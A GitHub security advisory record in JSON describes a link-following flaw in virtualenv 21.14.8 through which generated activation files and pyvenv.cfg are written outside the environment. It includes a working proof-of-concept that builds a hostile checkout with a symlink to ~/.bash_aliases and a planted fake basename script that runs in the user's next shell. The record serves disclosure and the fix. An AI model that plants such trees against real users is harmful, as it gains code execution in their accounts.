{"id":"GHSA-558c-9hv2-4prj","summary":"virtualenv: Generated files can follow existing destination links","details":"## Summary\n\nGenerated activation files and pyvenv.cfg can follow existing links and write outside the requested environment. The\ntemplate writer tests exists() before unlinking, which misses dangling symlinks; the configuration writer opens the\nexisting path directly.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-XBEOCBS1` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nFinal file entries written during environment creation and seeding.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare file links in the destination before creation. The invoking user must have write\npermission at the linked target. The destination parent must remain controlled during creation; concurrent\nparent-directory replacement is a separate concern.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),\n[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\n`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink\ntherefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related\nfinal-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard\nlink there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's\npermission to write the linked target.\n\n## Reproduction and evidence\n\nThe scanner's project tree contains `venv/bin/activate -\u003e ../../../.bash_aliases` and an executable `venv/bin/basename`.\nBefore creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation\nscript through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that\nfile; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer\nchecks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate\nmanual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.\n\nThe link lets creation write outside the requested environment. The attacker chooses the target path but the generated\nbytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not\narbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first\nreleased in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and\nuses exclusive creation for generated text. It does not make a destination safe if another account can replace parent\ndirectories during creation.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared project tree\n    participant V as virtualenv writer\n    participant H as User home\n    participant B as Next interactive bash\n    A-\u003e\u003eV: venv/bin/activate links to missing ~/.bash_aliases\n    V-\u003e\u003eV: Path.exists() follows link and returns false\n    V-\u003e\u003eH: write activation bytes through link\n    H--\u003e\u003eB: ~/.bash_aliases now exists\n    B-\u003e\u003eH: .bashrc sources ~/.bash_aliases\n    B-\u003e\u003eA: PATH reaches planted venv/bin/basename\n    A--\u003e\u003eB: marker created\n    Note over V,H: pyvenv.cfg can also overwrite an existing linked target\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists\nhome = tempfile.mkdtemp(prefix=\"home-\")\nshutil.copy(\"/etc/skel/.bashrc\", f\"{home}/.bashrc\")\nbash_aliases = f\"{home}/.bash_aliases\"\nmarker = f\"{home}/attacker-ran\"\nopen_terminal = [\"bash\", \"-i\", \"-c\", \"true\"]\nterminal_env = {\"HOME\": home, \"PATH\": \"/usr/bin:/bin\", \"TERM\": \"dumb\"}\n\n# the attacker's repository, cloned by the user to ~/proj\ncheckout = f\"{home}/proj\"\nsubprocess.run([sys.executable, \"/tmp/repro.d/make_hostile_checkout.py\", checkout], check=True)\nactivate = f\"{checkout}/venv/bin/activate\"\nprint(\"shipped: venv/bin/activate -\u003e\", os.readlink(activate), flush=True)\n\n# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\nprint(\"before virtualenv: ~/.bash_aliases exists:\", os.path.lexists(bash_aliases), \"| marker exists:\", os.path.exists(marker), flush=True)\nassert not os.path.lexists(bash_aliases) and not os.path.exists(marker)\n\n# trigger: the user creates an environment in the checkout, then opens a new terminal\nsubprocess.run([\"virtualenv\", \"--no-periodic-update\", \"venv\"], cwd=checkout, env={**os.environ, \"HOME\": home}, check=True)\nsubprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)\n\n# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases\nprint(\"venv/bin/activate is still the symlink:\", os.path.islink(activate))\nwritten_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)\nprint(\"~/.bash_aliases created as a regular file:\", written_outside)\nif written_outside:\n    print(\"  its first line:\", open(bash_aliases).readline().rstrip())\nattacker_code_ran = os.path.exists(marker)\nprint(\"after a new terminal, marker exists:\", attacker_code_ran)\nif attacker_code_ran:\n    print(\"  it says:\", open(marker).read().rstrip())\nprint(\"BUG\" if written_outside and attacker_code_ran else \"OK\")\n```\n\n**`repro.d/fake_basename.sh`**\n\n```text\n#!/bin/sh\necho \"attacker code ran as $(id -un)\" \u003e \"$HOME/attacker-ran\"\nexec /usr/bin/basename \"$@\"\n```\n\n**`repro.d/make_hostile_checkout.py`**\n\n```text\nimport os\nimport shutil\nimport sys\n\ncheckout = sys.argv[1]\nbin_dir = os.path.join(checkout, \"venv\", \"bin\")\nos.makedirs(bin_dir)\n\n# venv/bin/../../.. is the directory holding the checkout, i.e. ~ for a clone at ~/proj; ~/.bash_aliases does not exist\nos.symlink(\"../../../.bash_aliases\", os.path.join(bin_dir, \"activate\"))\n\n# the bash activation script runs $(basename \"$VIRTUAL_ENV\") right after putting venv/bin first on PATH\nfake_basename = os.path.join(bin_dir, \"basename\")\nshutil.copy(os.path.join(os.path.dirname(__file__), \"fake_basename.sh\"), fake_basename)\nos.chmod(fake_basename, 0o755)\n```\n\n## Impact\n\nCreation can overwrite or create files outside the requested environment with the invoking user's permissions. File\ncontents are constrained by what virtualenv generates.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix replaces existing entries, including symbolic and hard links, and exclusively creates generated text\nfiles. Before stdlib creation it replaces executable-directory symlinks and Windows junctions with real directories. It\nthen removes symbolic and hard links inside that directory, including interpreter executables and DLLs, and at the\nconfiguration and ignore file paths. This also removes unrelated links directly in the executable directory. Final\nseed-launcher links are replaced. Exclusive creation protects the final text-file open; delegated stdlib and distlib\nwrites still require a destination protected from concurrent replacement.\n\nFix: [PR #3431](https://github.com/pypa/virtualenv/pull/3431).\n\n## Known mitigation\n\nUse a fresh destination beneath an owner-controlled parent. Avoid creation over a tree populated by another account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-XBEOCBS1.","aliases":["CVE-2026-113721"],"modified":"2026-10-22T17:15:04.313158783Z","published":"2026-10-22T17:03:12Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-10-22T17:03:12Z","nvd_published_at":"2026-10-20T20:17:18Z","cwe_ids":["CWE-59"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-558c-9hv2-4prj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113721"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3431"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/d25f28699eefb1fc34a251e5adf2b5de844c36cd"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-558c-9hv2-4prj/GHSA-558c-9hv2-4prj.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}